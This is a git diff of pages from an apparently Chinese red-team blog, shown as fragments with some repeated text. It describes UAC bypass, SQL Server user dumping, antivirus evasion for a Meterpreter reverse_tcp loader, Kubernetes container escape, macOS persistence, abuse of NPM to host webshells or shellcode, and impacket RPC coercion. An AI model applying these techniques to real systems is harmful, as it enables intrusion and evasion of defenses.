假设,如果C:\Windows\system32\eudcedit.exe存在一个DLL劫持漏洞,那么普通用户就可以用低权限绕过UAC确认,以高权限执行任意代码。

手动Bypass UAC

2020-03-01-11-31-01

C:\Windows\system32\odbcad32.exe 该程序用于配置ODBC数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的Powershell。

2020-03-01-11-31-10

2020-03-01-11-31-20

使用Powershell启动其他程序,也都是以管理员权限运行:

2020-03-01-11-31-27

下一章,将分析几个UAC的绕过例子。

\ No newline at end of file +Mar 2020

红队分享-如何挖掘Windows Bypass UAC(第一课)

什么是UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

先观察一下:

2020-03-01-11-29-43

2020-03-01-11-29-52

2020-03-01-11-30-00

有的需要授权、有的不需要,是因为UAC是分授权等级的:

首先请按Win+R,输入gpedit.msc,打开组策略。

然后我们在左侧窗口找到“计算机配置–Windows设置–安全设置–本地策略–安全选项”,再在右侧窗口找到“用户帐户控制: 管理员批准模式中管理员的提升权限提示的行为”,双击该条目,打开设置窗口,如下图:

2020-03-01-11-30-10

为什么有的应用程序不需要提示UAC?

因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。

如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在Linux中的相应操作类似。

提升权限的操作大致有两个:

手动提权就是“以管理员身份运行”,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器

在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。

manifest文件

这个文件本质上是一个XML文件,用于标识当前应用程序的配置属性。

2020-03-01-11-30-21

我编译选项调整为requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过UAC了。

manifest中其实还有其他属性,如:autoElevate(自动提升)

拥有自动权限提升属性的文件,当默认以管理员权限运行,不需要经过用户的授权。

寻找auto Elevate

工具地址:https://github.com/g3rzi/Manifesto

2020-03-01-11-30-30

通过不断遍历autoElevate属性,寻找自动权限提升的程序。

2020-03-01-11-30-37

我使用Powershell启动:C:\Windows\system32\eudcedit.exe

2020-03-01-11-30-50

发现没有弹出UAC确认,没有继承Powershell的权限,它的权限是High。

假设,如果C:\Windows\system32\eudcedit.exe存在一个DLL劫持漏洞,那么普通用户就可以用低权限绕过UAC确认,以高权限执行任意代码。

手动Bypass UAC

2020-03-01-11-31-01

C:\Windows\system32\odbcad32.exe 该程序用于配置ODBC数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的Powershell。

2020-03-01-11-31-10

2020-03-01-11-31-20

使用Powershell启动其他程序,也都是以管理员权限运行:

2020-03-01-11-31-27

下一章,将分析几个UAC的绕过例子。

\ No newline at end of file diff --git a/archivers/2020-03-02/3/index.html b/archivers/2020-03-02/3/index.html index 5dadd1f..af69e36 100644 --- a/archivers/2020-03-02/3/index.html +++ b/archivers/2020-03-02/3/index.html @@ -58,4 +58,4 @@
SELECT STUFF((SELECT  '[' + username + '],'  FROM(SELECT Top 10 username from 数据库名称.User ) a  FOR  XML PATH('')  ), 1,0, '')
 
1
 
SELECT STUFF((SELECT  '[' + Name + '],'  FROM(SELECT  Name from Master..SysDatabases ) a  FOR  XML PATH('')  ), 1,0, '')
-

其他场景自行想象!

\ No newline at end of file +

其他场景自行想象!

\ No newline at end of file diff --git a/archivers/2020-03-02/4/index.html b/archivers/2020-03-02/4/index.html index dc8a7d2..b028909 100644 --- a/archivers/2020-03-02/4/index.html +++ b/archivers/2020-03-02/4/index.html @@ -60,4 +60,4 @@ command say { print_hello($1); } -

加载到Cobalt Strike后,在Aggressor Script控制台输入say Tom就可以运行脚本了:

2020-03-01-11-38-22

2020-03-01-11-38-29

可以发现,Sleep的函数通过$数字来寻找函数参数,这个虽然友好,但是还是有说不出的难受…

下一课介绍Cobalt Strike的菜单创建以及快捷键绑定。

\ No newline at end of file +

加载到Cobalt Strike后,在Aggressor Script控制台输入say Tom就可以运行脚本了:

2020-03-01-11-38-22

2020-03-01-11-38-29

可以发现,Sleep的函数通过$数字来寻找函数参数,这个虽然友好,但是还是有说不出的难受…

下一课介绍Cobalt Strike的菜单创建以及快捷键绑定。

\ No newline at end of file diff --git a/archivers/2020-03-02/5/index.html b/archivers/2020-03-02/5/index.html index 70223c3..2d34da0 100644 --- a/archivers/2020-03-02/5/index.html +++ b/archivers/2020-03-02/5/index.html @@ -80,4 +80,4 @@ $dialog = dialog("Hello", %(name => "tom"), &callback); drow_text($dialog, "name", "YourName: "); dbutton_action($dialog, "Go"); -

dialog的手册:https://cobaltstrike.com/aggressor-script/functions.html#dialog

当点击 菜单项时,弹出对话框:

2020-03-01-11-44-03

2020-03-01-11-44-10

\ No newline at end of file +

dialog的手册:https://cobaltstrike.com/aggressor-script/functions.html#dialog

当点击 菜单项时,弹出对话框:

2020-03-01-11-44-03

2020-03-01-11-44-10

\ No newline at end of file diff --git a/archivers/2020-03-21/2/index.html b/archivers/2020-03-21/2/index.html index f2c12a1..6e0aa93 100644 --- a/archivers/2020-03-21/2/index.html +++ b/archivers/2020-03-21/2/index.html @@ -130,4 +130,4 @@
excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
         headers = [(name, value) for (name, value) in resp.raw.headers.items()
                    if name.lower() not in excluded_headers]
-

这里的解决方式是剔除编码头 Content-Encoding。

\ No newline at end of file +

这里的解决方式是剔除编码头 Content-Encoding。

\ No newline at end of file diff --git a/archivers/2020-07-16/1/index.html b/archivers/2020-07-16/1/index.html index eae923f..0e03128 100644 --- a/archivers/2020-07-16/1/index.html +++ b/archivers/2020-07-16/1/index.html @@ -72,4 +72,4 @@ print("\t[->]" + h) result[ip].append(h) print result -

0x04 多线程实现效果

2020-07-16-10-57-59

优点:

通过本文的分析,可以有效提高内网渗透的效率,定位多网卡主机,同时可以复刻这个方法来实现其他语言的版本。

Github 源代码地址:https://github.com/Rvn0xsy/OXID-Find/

\ No newline at end of file +

0x04 多线程实现效果

2020-07-16-10-57-59

优点:

通过本文的分析,可以有效提高内网渗透的效率,定位多网卡主机,同时可以复刻这个方法来实现其他语言的版本。

Github 源代码地址:https://github.com/Rvn0xsy/OXID-Find/

\ No newline at end of file diff --git a/archivers/2020-08-24/1/index.html b/archivers/2020-08-24/1/index.html index 27912ec..230ec5a 100644 --- a/archivers/2020-08-24/1/index.html +++ b/archivers/2020-08-24/1/index.html @@ -94,4 +94,4 @@ < Content-Length: 1163 .... -

按以往的安全人员惯用沉淀方式会自己使用Python语言写出POC(Proof of concept,概念验证)和EXP(Exploit,利用 国内简写风格)。关于概念验证,不同的安全人员在交换或使用POC的过程中会存在很多问题,如:库的依赖、代码风格不统一等等。关于漏洞的信息传递会失真,因为交换的不是“漏洞”本身,而是代码。另外,Pocsuite解决了代码风格和使用的问题,不得不说很赞。但往往团队中会有不热爱写代码的人,亦或是不爱阅读文档的人,要完成漏洞的落地需要更加轻便的方法。

2020-08-24-21-34-35

通过使用Goby,发现作者的思路非常赞,将常见POC的本质进行提取,把POC的落地变成了一个表单,这样直接解决了格式的问题,省去了编程的过程,但多人协作可能目前还未考虑进去,毕竟目前的定位是单兵工具。

总结下来也就是说,第三阶段需要解决:POC的去敏化、可配置化,让安全人员专注漏洞本身的检测与利用方式,而不是由他们去决定这个脚本怎么写、怎么高效的运行,这个是安全开发工程师应该干的事。

第四阶段:后渗透阶段信息协作与功能组织

Cobalt Strike我们看到了C2(Command & Control,命令控制)的特征模糊、Payload(载荷)的多样性、Beacon(信标)的接口化,但我认为它最值得我学习的是 — 协作模式。真正的从以往灰鸽子的CS(Client / Server)模式演变成了TC(TeamServer / Clients)的模式,它允许多个客户端连接和操作一个服务端。但它也有一些门槛(弊端),就是上手后想要完成一些复杂工作任务较为困难,光是解决免杀就要学习一些文章、或者编程(C语言、sleep脚本语言)等等,并且扩展的模块管理完全交给了每个使用者,hook(钩住)事件后n个客户端会触发n次。

Metasploit我们看到了它的社区力量多么强大,模块繁多,近期又更新了6这个版本,将Meterpreter的通信进行了加密,是一个突破性的进步。这里需要一个具备Cobalt StrikeMetasploit 优点的后渗透工具或框架,生态需要尽量选择脚本语言,这样在时代的进步中迭代快。

第二个思考:团队建设中价值观与文化的重要性

这个话题经常和我的领导探讨,我收获颇多,回想起以前的自己,思考的根本不会到现在这个深度。

所有企业管理者最大的难题就是“聚焦”,聚焦力量、聚焦思想,很多管理者或者员工没有换位思考的问题是:管理不是为了控制,而是为了让力量更好的聚焦。

价值观是基于人的一定的思维感官之上而作出的认知、理解、判断或抉择,也就是人认定事物、辩定是非的一种思维或取向,从而体现出人、事、物一定的价值或作用;在阶级社会中,不同阶级有不同的价值观念。价值观具有稳定性和持久性、历史性与选择性、主观性的特点。价值观对动机有导向的作用,同时反映人们的认知和需求状况。

—— 摘自 百度百科。

可以通过这句总结看出,价值观在不同阶级是有较大偏差的,所以每个企业的价值观基本都是非常的简单仅仅几个字,或者一句话,因为企业价值观需要尽可能的包容不同阶级的人群,比如企业的老板和其中的某个员工两个人,在哪些事物上会认知相同呢?举两个例子,比较简单的:某件事的是非对错,比较复杂的:在某种情况下,应当做出何种决定。

总结出来就是,企业良好的价值观让内部员工更容易的达成共识,能建立一个正向的引导,在价值观的影响下员工能够把能量释放到最合适的点上。

往往企业价值观的定义都会比较偏向“做人”这个点上,管理者需要具备某些品质才能拥有领导力、保障团队的良性发展,团队的成员才能有收获。因此可以看出,寻找一份工作不能只看薪水待遇,还要看公司价值观,直系领导的品质以及团队文化,这些要点一定会影响未来你在团队中的发展和工作状态。

团队文化,我的理解是通过价值观影响而产生的某些思维或行为习惯,也可以是某些人与人之间的约定。具体例如:项目完成的复盘总结、内部的做事流程、生日蛋糕祝福、定期的团建等等。优秀的团队文化能使人更快的建立信任,更具体的规范角色的行为,也可使人对团队的未来充满期待,能纵观整个自我成长的历史。

第三个思考:我们真的很幸运

去年有幸帮助公司的一级部门去给某学院的学生分享了一堂课,主要是关于自学安全的话题。

开始的时候分享了我的一些学习经历,我发现总结不出来如何培养自己的自学能力,因为第一个大前提:我做的是我热爱的事情,在年龄很小的时候就找到了自己喜欢的事情,为此愿意花大量的时间去探索技术,不断的学习。

从大部分普通应届生的角度来看找工作这件事,他们的选择往往很少,找到一个相对好的工作取决于自身在后天的积累是否能与社会某个职业的需要挂钩,但好像大多数学校的学生反馈的是专业知识都与职场应用有一定偏差,这就导致就业难,人生第一大门槛:“我该去往何方?”

**我对兴趣的理解是:“兴趣是人生不可或缺的调味剂,一定程度能够影响半生的幸福。”**一个好的兴趣是针对事物抱有无尽求知欲的,并且具备隐性的持续性,在探索的过程中、过程后,一定是情绪高涨,快乐的。我很庆幸,在年纪很小的时候拥有了兴趣,在不断探索求知的过程中,我不断收获成就感,洗涤内心的卑微,使得一个少年变得逐渐强大。

兴趣让我有了更多的选择,我的兴趣不只是安全领域,更深层次的总结可以说是对计算机网络相关的东西都感兴趣,它能使我化身成为程序员、网络工程师、产品经理、渗透测试人员等等。有许多次我都感慨,这是一个幸福的时代。

\ No newline at end of file +

按以往的安全人员惯用沉淀方式会自己使用Python语言写出POC(Proof of concept,概念验证)和EXP(Exploit,利用 国内简写风格)。关于概念验证,不同的安全人员在交换或使用POC的过程中会存在很多问题,如:库的依赖、代码风格不统一等等。关于漏洞的信息传递会失真,因为交换的不是“漏洞”本身,而是代码。另外,Pocsuite解决了代码风格和使用的问题,不得不说很赞。但往往团队中会有不热爱写代码的人,亦或是不爱阅读文档的人,要完成漏洞的落地需要更加轻便的方法。

2020-08-24-21-34-35

通过使用Goby,发现作者的思路非常赞,将常见POC的本质进行提取,把POC的落地变成了一个表单,这样直接解决了格式的问题,省去了编程的过程,但多人协作可能目前还未考虑进去,毕竟目前的定位是单兵工具。

总结下来也就是说,第三阶段需要解决:POC的去敏化、可配置化,让安全人员专注漏洞本身的检测与利用方式,而不是由他们去决定这个脚本怎么写、怎么高效的运行,这个是安全开发工程师应该干的事。

第四阶段:后渗透阶段信息协作与功能组织

Cobalt Strike我们看到了C2(Command & Control,命令控制)的特征模糊、Payload(载荷)的多样性、Beacon(信标)的接口化,但我认为它最值得我学习的是 — 协作模式。真正的从以往灰鸽子的CS(Client / Server)模式演变成了TC(TeamServer / Clients)的模式,它允许多个客户端连接和操作一个服务端。但它也有一些门槛(弊端),就是上手后想要完成一些复杂工作任务较为困难,光是解决免杀就要学习一些文章、或者编程(C语言、sleep脚本语言)等等,并且扩展的模块管理完全交给了每个使用者,hook(钩住)事件后n个客户端会触发n次。

Metasploit我们看到了它的社区力量多么强大,模块繁多,近期又更新了6这个版本,将Meterpreter的通信进行了加密,是一个突破性的进步。这里需要一个具备Cobalt StrikeMetasploit 优点的后渗透工具或框架,生态需要尽量选择脚本语言,这样在时代的进步中迭代快。

第二个思考:团队建设中价值观与文化的重要性

这个话题经常和我的领导探讨,我收获颇多,回想起以前的自己,思考的根本不会到现在这个深度。

所有企业管理者最大的难题就是“聚焦”,聚焦力量、聚焦思想,很多管理者或者员工没有换位思考的问题是:管理不是为了控制,而是为了让力量更好的聚焦。

价值观是基于人的一定的思维感官之上而作出的认知、理解、判断或抉择,也就是人认定事物、辩定是非的一种思维或取向,从而体现出人、事、物一定的价值或作用;在阶级社会中,不同阶级有不同的价值观念。价值观具有稳定性和持久性、历史性与选择性、主观性的特点。价值观对动机有导向的作用,同时反映人们的认知和需求状况。

—— 摘自 百度百科。

可以通过这句总结看出,价值观在不同阶级是有较大偏差的,所以每个企业的价值观基本都是非常的简单仅仅几个字,或者一句话,因为企业价值观需要尽可能的包容不同阶级的人群,比如企业的老板和其中的某个员工两个人,在哪些事物上会认知相同呢?举两个例子,比较简单的:某件事的是非对错,比较复杂的:在某种情况下,应当做出何种决定。

总结出来就是,企业良好的价值观让内部员工更容易的达成共识,能建立一个正向的引导,在价值观的影响下员工能够把能量释放到最合适的点上。

往往企业价值观的定义都会比较偏向“做人”这个点上,管理者需要具备某些品质才能拥有领导力、保障团队的良性发展,团队的成员才能有收获。因此可以看出,寻找一份工作不能只看薪水待遇,还要看公司价值观,直系领导的品质以及团队文化,这些要点一定会影响未来你在团队中的发展和工作状态。

团队文化,我的理解是通过价值观影响而产生的某些思维或行为习惯,也可以是某些人与人之间的约定。具体例如:项目完成的复盘总结、内部的做事流程、生日蛋糕祝福、定期的团建等等。优秀的团队文化能使人更快的建立信任,更具体的规范角色的行为,也可使人对团队的未来充满期待,能纵观整个自我成长的历史。

第三个思考:我们真的很幸运

去年有幸帮助公司的一级部门去给某学院的学生分享了一堂课,主要是关于自学安全的话题。

开始的时候分享了我的一些学习经历,我发现总结不出来如何培养自己的自学能力,因为第一个大前提:我做的是我热爱的事情,在年龄很小的时候就找到了自己喜欢的事情,为此愿意花大量的时间去探索技术,不断的学习。

从大部分普通应届生的角度来看找工作这件事,他们的选择往往很少,找到一个相对好的工作取决于自身在后天的积累是否能与社会某个职业的需要挂钩,但好像大多数学校的学生反馈的是专业知识都与职场应用有一定偏差,这就导致就业难,人生第一大门槛:“我该去往何方?”

**我对兴趣的理解是:“兴趣是人生不可或缺的调味剂,一定程度能够影响半生的幸福。”**一个好的兴趣是针对事物抱有无尽求知欲的,并且具备隐性的持续性,在探索的过程中、过程后,一定是情绪高涨,快乐的。我很庆幸,在年纪很小的时候拥有了兴趣,在不断探索求知的过程中,我不断收获成就感,洗涤内心的卑微,使得一个少年变得逐渐强大。

兴趣让我有了更多的选择,我的兴趣不只是安全领域,更深层次的总结可以说是对计算机网络相关的东西都感兴趣,它能使我化身成为程序员、网络工程师、产品经理、渗透测试人员等等。有许多次我都感慨,这是一个幸福的时代。

\ No newline at end of file diff --git a/archivers/2020-11-29/1/index.html b/archivers/2020-11-29/1/index.html index a6dac34..3512736 100644 --- a/archivers/2020-11-29/1/index.html +++ b/archivers/2020-11-29/1/index.html @@ -155,4 +155,4 @@
BOOL CCooolisMetasploit::SendPayload(std::string options, std::string payload)
 

https://github.com/Rvn0xsy/Cooolis-ms/blob/5699a1be7fe3b9f0c626622da6e039e898788155/Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.cpp#L22

那么,调用这个函数时,传递的std::string options这个字符串可能会被定位,这个时候需要在传入之前调用一个函数,进行一次解密,把解密后的字符串传入。

1
 
	metasploit->add_option(CooolisString("LXAsLS1wYXlsb2Fk"), msf_payload, CooolisString("UGF5bG9hZCBOYW1lLCBlLmcuIHdpbmRvd3MvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3A="))->default_str(CooolisString("d2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX3RjcA=="));
-

https://github.com/Rvn0xsy/Cooolis-ms/blob/5699a1be7fe3b9f0c626622da6e039e898788155/Cooolis-ms-Loader/Cooolis-ms/source.cpp#L54

由此,只需要去增加CooolisString的解码函数即可,然后在构造函数中去调用解码函数就能让程序在静态扫描过程中无法捕捉特征字符串。

Cooolis-ms已经实现了本篇文章技术的应用。

\ No newline at end of file +

https://github.com/Rvn0xsy/Cooolis-ms/blob/5699a1be7fe3b9f0c626622da6e039e898788155/Cooolis-ms-Loader/Cooolis-ms/source.cpp#L54

由此,只需要去增加CooolisString的解码函数即可,然后在构造函数中去调用解码函数就能让程序在静态扫描过程中无法捕捉特征字符串。

Cooolis-ms已经实现了本篇文章技术的应用。

\ No newline at end of file diff --git a/archivers/2020-11-29/2/index.html b/archivers/2020-11-29/2/index.html index 2ae32ed..bec2ba4 100644 --- a/archivers/2020-11-29/2/index.html +++ b/archivers/2020-11-29/2/index.html @@ -45,4 +45,4 @@ std::cout << "Hello World!\n"; } -

上方的例子中,我将shellcode替换为了其他字符串,因为我觉得shellcode混淆是另外一回事。

2020-11-29-17-41-52

样本链接:https://www.virustotal.com/gui/file/1db88905be721e2b279f8f9a6dad1fbf945311b50cc79378d9f69cec5bbe2f6a/detection

\ No newline at end of file +

上方的例子中,我将shellcode替换为了其他字符串,因为我觉得shellcode混淆是另外一回事。

2020-11-29-17-41-52

样本链接:https://www.virustotal.com/gui/file/1db88905be721e2b279f8f9a6dad1fbf945311b50cc79378d9f69cec5bbe2f6a/detection

\ No newline at end of file diff --git a/archivers/2021-07-20/1/index.html b/archivers/2021-07-20/1/index.html index 93d8816..2d2f7af 100644 --- a/archivers/2021-07-20/1/index.html +++ b/archivers/2021-07-20/1/index.html @@ -46,4 +46,4 @@ hostPath: path: / type: Directory -

2021-07-20-11-02-18

在多次创建Pod后,会发现Pod会在Master节点上出现,再利用kubectl进入容器,执行逃逸。

2021-07-20-11-06-24

至此,逃逸完成,能够通过写公私钥的方式控制Master宿主机。

0x05 总结

本文通过了解Kubernetes的一些基本概念,完成了在节点中进行横向逃逸,但我没有实现指定节点的逃逸过程,因为在Kubernetes中低权限的节点无法修改Master节点的容忍度,因此要完成逃逸,需要在每一个节点上至少创建一个Pod,如果集群中节点数量庞大的话….

\ No newline at end of file +

2021-07-20-11-02-18

在多次创建Pod后,会发现Pod会在Master节点上出现,再利用kubectl进入容器,执行逃逸。

2021-07-20-11-06-24

至此,逃逸完成,能够通过写公私钥的方式控制Master宿主机。

0x05 总结

本文通过了解Kubernetes的一些基本概念,完成了在节点中进行横向逃逸,但我没有实现指定节点的逃逸过程,因为在Kubernetes中低权限的节点无法修改Master节点的容忍度,因此要完成逃逸,需要在每一个节点上至少创建一个Pod,如果集群中节点数量庞大的话….

\ No newline at end of file diff --git a/archivers/2021-08-11/1/index.html b/archivers/2021-08-11/1/index.html index 9729690..80cd639 100644 --- a/archivers/2021-08-11/1/index.html +++ b/archivers/2021-08-11/1/index.html @@ -16,4 +16,4 @@ 2
ldapsearch -h 192.168.49.132 -b dc=domain16,dc=local -D cn=zhangsan,ou=officeuser,dc=domain16,dc=local -w San@123 "(&(objectCategory=person)(objectClass=user)
 (!(userAccountControl:1.2.840.113556.1.4.803:=2)))" dn | grep dn
-

2021-08-11-12-02-55

特殊字符对照表

其中\2A等都是特殊字符,为了和LDAP语义进行区分,因此有一个对照表:

2021-08-11-12-03-52

查看域内DNS解析数据

通过ADExplorer,可以看到域内存在关于DNS的DN:

2021-08-11-12-04-10

其中DN为DC=mailserver,DC=domain16.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain16,DC=local的对象存在一个属性叫dnsRecord,通过参考adidnsdump 中代码,发现dnsRecord是一个文档化过的结构体。

2021-08-11-12-04-22

利用MS-DNSP文档能够构造结构体,从LDAP读取数据,自己也可以动手写一个收集域内DNS的工具。

Go语言操作LDAP

开源地址:https://github.com/Rvn0xsy/goDomain

2021-08-11-12-04-39

使用go-ldap库能够连接LDAP服务,主要流程:

获取非约束委派与约束委派机器

约束委派语法:Query: (&(samAccountType=805306369)(msds-allowedtodelegateto=*)(objectClass=computer))

非约束委派语法:(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)(objectClass=computer))

2021-08-11-12-04-54

\ No newline at end of file +

2021-08-11-12-02-55

特殊字符对照表

其中\2A等都是特殊字符,为了和LDAP语义进行区分,因此有一个对照表:

2021-08-11-12-03-52

查看域内DNS解析数据

通过ADExplorer,可以看到域内存在关于DNS的DN:

2021-08-11-12-04-10

其中DN为DC=mailserver,DC=domain16.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain16,DC=local的对象存在一个属性叫dnsRecord,通过参考adidnsdump 中代码,发现dnsRecord是一个文档化过的结构体。

2021-08-11-12-04-22

利用MS-DNSP文档能够构造结构体,从LDAP读取数据,自己也可以动手写一个收集域内DNS的工具。

Go语言操作LDAP

开源地址:https://github.com/Rvn0xsy/goDomain

2021-08-11-12-04-39

使用go-ldap库能够连接LDAP服务,主要流程:

获取非约束委派与约束委派机器

约束委派语法:Query: (&(samAccountType=805306369)(msds-allowedtodelegateto=*)(objectClass=computer))

非约束委派语法:(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)(objectClass=computer))

2021-08-11-12-04-54

\ No newline at end of file diff --git a/archivers/2021-08-30/2/index.html b/archivers/2021-08-30/2/index.html index 4cd00fa..5e8a348 100644 --- a/archivers/2021-08-30/2/index.html +++ b/archivers/2021-08-30/2/index.html @@ -1,3 +1,3 @@ 博客更新了 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

30 -Aug 2021

博客更新了

接下来的时间会将自己的知识进行归纳,将博客中错误的内容进行更正,将没有成体系的知识文章进行选择性删除….

\ No newline at end of file +Aug 2021

博客更新了

接下来的时间会将自己的知识进行归纳,将博客中错误的内容进行更正,将没有成体系的知识文章进行选择性删除….

\ No newline at end of file diff --git a/archivers/2021-09-13/1/index.html b/archivers/2021-09-13/1/index.html index 39350fe..2fa8402 100644 --- a/archivers/2021-09-13/1/index.html +++ b/archivers/2021-09-13/1/index.html @@ -146,4 +146,4 @@ printf("HelloWorld...\n"); return 0; } -

2021-09-14-11-47-16

上图中,如果遇到调试器,将会无限触发断点,而这个汇编代码块,在Windows代码中也是可以通用的。

编译器生成的机器代码其实往往并不是可控的,都是有迹可循的。

0x04 总结

本文对反调试技术有了一个初步认识,并了解了shellcode的编写过程,以及通过一个小例子实践了反调试代码。

\ No newline at end of file +

2021-09-14-11-47-16

上图中,如果遇到调试器,将会无限触发断点,而这个汇编代码块,在Windows代码中也是可以通用的。

编译器生成的机器代码其实往往并不是可控的,都是有迹可循的。

0x04 总结

本文对反调试技术有了一个初步认识,并了解了shellcode的编写过程,以及通过一个小例子实践了反调试代码。

\ No newline at end of file diff --git a/archivers/2021-11-23/1/index.html b/archivers/2021-11-23/1/index.html index 1c3aa91..ee24690 100644 --- a/archivers/2021-11-23/1/index.html +++ b/archivers/2021-11-23/1/index.html @@ -120,4 +120,4 @@
$ launchctl unload com.drink.water.launchctl.plist # 卸载任务
 $ launchctl start com.drink.water.launchctl.plist # 立即执行任务
 $ launchctl stop com.drink.water.launchctl.plist # 停止任务
-

0x04 思考

Mac下具有和Linux相似的任务计划和守护进程服务,这都是可能会被作为权限维持的办法,并且MacOS的手动软件卸载方式总会残留一些垃圾文件或者目录在文件夹中,经过本篇文章的实践学习,我清理了一部分系统残留的无用plist文件…(有一些软件具有清理启动项的功能,这里不做推荐了。)

\ No newline at end of file +

0x04 思考

Mac下具有和Linux相似的任务计划和守护进程服务,这都是可能会被作为权限维持的办法,并且MacOS的手动软件卸载方式总会残留一些垃圾文件或者目录在文件夹中,经过本篇文章的实践学习,我清理了一部分系统残留的无用plist文件…(有一些软件具有清理启动项的功能,这里不做推荐了。)

\ No newline at end of file diff --git a/archivers/2022-03-01/1/index.html b/archivers/2022-03-01/1/index.html index 92136b2..e67335b 100644 --- a/archivers/2022-03-01/1/index.html +++ b/archivers/2022-03-01/1/index.html @@ -1,3 +1,3 @@ 利用NPM仓库充当文件托管服务 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 -Mar 2022

利用NPM仓库充当文件托管服务

0x00 什么是NPM?

NPM是随同NodeJS一起安装的包管理工具,NPM可以通过NPM的源下载安装源上发布的JS代码。目前官方源的地址是:https://www.npmjs.com/ 任何人都可以在社区上发布自己的Nodejs代码,但NPM官方的服务器是在境外的,国内想要快速的访问到就必须通过同步源,于是出现了各种NPM镜像源,每隔一段时间就会拉取官方的源同步。既然任何人都可以发布自己的代码到NPM上,我们就可以把NPM的仓库当作一个简单的文件服务器存储一些能够适当公开的静态文件。

0x01 托管代码前的准备工作

NPM的认证机制是双因素的(密码+邮箱验证码),注册的时候需要提供真实邮箱:https://www.npmjs.com/signup

注册完毕后,本地安装好NPM环境:sudo apt install npm

本地登录NPM:npm login 同样会需要邮箱验证码

0x02 托管第一个静态文件

新建一个包名的目录,注意包名不能与NPM官方源上发布的包名同步

这里我新建目录名为 my-npm

npm init 可以初始化一个包的基本信息,例如版本号、作者、描述、测试命令等等。

在设置package name时为了怕重复,我设置包名为touch-file。

可以看到已经生成了package.json这个包的基础信息文件,接下来可以继续创建这个包内的其他文件,这里我随便写了一个index.js。

npm publish 用于发布这个包。

0x03 如何使用静态文件?

NPM有很多源,这里我随便写几个:

可以看到至少阿里、腾讯是有NPM同步的,但是文件是压缩包,而jsdelivr可以直接访问源文件,这一点可以当作图床、文件传输…. 我博客的图床就是用的Github + jsdelivr进行加速。

发挥想象:

  • 免费图床
  • 文件下载服务器(小工具、webshell、shellcode?)
  • JS后门…
  • ….

PS:如果遇到不太正常的NPM,可以通过Report举报滥用。

\ No newline at end of file +Mar 2022

利用NPM仓库充当文件托管服务

0x00 什么是NPM?

NPM是随同NodeJS一起安装的包管理工具,NPM可以通过NPM的源下载安装源上发布的JS代码。目前官方源的地址是:https://www.npmjs.com/ 任何人都可以在社区上发布自己的Nodejs代码,但NPM官方的服务器是在境外的,国内想要快速的访问到就必须通过同步源,于是出现了各种NPM镜像源,每隔一段时间就会拉取官方的源同步。既然任何人都可以发布自己的代码到NPM上,我们就可以把NPM的仓库当作一个简单的文件服务器存储一些能够适当公开的静态文件。

0x01 托管代码前的准备工作

NPM的认证机制是双因素的(密码+邮箱验证码),注册的时候需要提供真实邮箱:https://www.npmjs.com/signup

注册完毕后,本地安装好NPM环境:sudo apt install npm

本地登录NPM:npm login 同样会需要邮箱验证码

0x02 托管第一个静态文件

新建一个包名的目录,注意包名不能与NPM官方源上发布的包名同步

这里我新建目录名为 my-npm

npm init 可以初始化一个包的基本信息,例如版本号、作者、描述、测试命令等等。

在设置package name时为了怕重复,我设置包名为touch-file。

可以看到已经生成了package.json这个包的基础信息文件,接下来可以继续创建这个包内的其他文件,这里我随便写了一个index.js。

npm publish 用于发布这个包。

0x03 如何使用静态文件?

NPM有很多源,这里我随便写几个:

可以看到至少阿里、腾讯是有NPM同步的,但是文件是压缩包,而jsdelivr可以直接访问源文件,这一点可以当作图床、文件传输…. 我博客的图床就是用的Github + jsdelivr进行加速。

发挥想象:

PS:如果遇到不太正常的NPM,可以通过Report举报滥用。

\ No newline at end of file diff --git a/archivers/2022-03-04/1/index.html b/archivers/2022-03-04/1/index.html index d0d3a63..0bb95ec 100644 --- a/archivers/2022-03-04/1/index.html +++ b/archivers/2022-03-04/1/index.html @@ -68,4 +68,4 @@ dce.request(request) if rpctransport: rpctransport.disconnect() -

首先通过DCERPCTransportFactory获取transport对象,DCERPCTransportFactory主要是为了确定RPC的协议序列,关于协议序列的知识可以通过这个文档了解。上方的示例代码ncacn_np:192.168.117.141[\pipe\spoolss]表示了这个RPC通过命名管道连接。连接成功以后,impacket通过set_credentials完成凭证的设置,说起set_credentials,不得不称赞impacket的开发者,只要使用impacket的set_credentials就能轻松进行PTH,因为set_credentials的参数很友好:

第二步是通过MS-RPCE绑定对象,MSRPC_UUID_RPRN 就是PRRN的UUID。

通过前两步,我们其实可以调用任意RPC对象,并支持PTH认证,最后一步dce.request其实就是调用RPC对象里面的方法。

0x04 实现效果

在Kali Linux上执行脚本,让Win10访问我的博客地址:

Win10上的效果:

可以看到,认证成功,并成功访问了我的博客。

0x05 结论

使用impacket开发武器化脚本比 C/C++ 要快的很多,并且对于协议底层的封装impacket做的非常出众。这个脚本我没有想过继续优化,因为CornerShot做的更好,作者已经将多种办法集成到了这个项目中。

参考

\ No newline at end of file +

